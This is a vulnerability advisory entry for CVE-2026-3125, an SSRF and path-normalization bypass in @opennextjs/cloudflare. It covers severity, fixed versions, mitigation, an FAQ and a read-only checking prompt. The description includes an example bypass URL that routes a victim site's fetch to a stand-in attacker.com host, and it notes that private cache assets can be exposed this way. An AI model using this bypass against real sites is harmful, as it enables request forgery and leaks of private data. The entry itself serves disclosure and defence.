# CVE-2026-3125: SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** HIGH 7.7
- **CVSS:** 7.7 (v4.0, CNA) `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N`
- **CVSS metrics:** Attack vector: Network; Attack complexity: Low; Attack requirements: None; Privileges required: None; User interaction: None; Confidentiality impact: Low; Integrity impact: Low; Availability impact: None; Confidentiality impact on other systems: High; Integrity impact on other systems: None; Availability impact on other systems: None
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Remote, no login needed
- **EPSS:** 0.50% (percentile 35, 2026-11-26)
- **CWE:** CWE-918, CWE-706
- **Published:** 2026-03-04T18:14:31.111Z
- **Modified:** 2026-06-17T10:43:05.107Z

## Who should check

- Anyone running @opennextjs/cloudflare \< 1.17.1

## Description

A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.

For example: 

 https://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com 

In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.

Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.

Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/\_next\_cache, which could be exposed via this bypass.

## Affected and fixed versions

- @opennextjs/cloudflare: \< 1.17.1 (cvelist)

## Mitigation

- Upgrade @opennextjs/cloudflare to 1.17.1 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-3125. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-3125.md
Affected: @opennextjs/cloudflare < 1.17.1
Fixed in: @opennextjs/cloudflare 1.17.1

Steps:
1. Search this machine and project for @opennextjs/cloudflare: dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-3125 being exploited?

There is no confirmed exploitation: CVE-2026-3125 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known. EPSS estimates a 0.50% chance of exploitation in the next 30 days (as of 2026-11-26).

### How serious is CVE-2026-3125?

High: CVSS 7.7 (v4.0, scored by CNA). Remote, no login needed.

### Which versions are affected by CVE-2026-3125?

@opennextjs/cloudflare \< 1.17.1.

### Is there a fix for CVE-2026-3125?

Yes. Fixed in @opennextjs/cloudflare 1.17.1. Upgrade @opennextjs/cloudflare to 1.17.1 or later.

### How do I check if I'm affected by CVE-2026-3125?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- patch: <https://github.com/opennextjs/opennextjs-cloudflare/pull/1147>
- other: <https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1>
- other: <https://github.com/advisories/GHSA-rvpw-p7vw-wj3m>
- other: <https://www.cve.org/cverecord?id=CVE-2025-6087>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- NVD: This product uses data from the NVD API but is not endorsed or certified by the NVD. <https://nvd.nist.gov/vuln/detail/CVE-2026-3125>

HTML: <https://flawdb.com/CVE-2026-3125> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-3125>
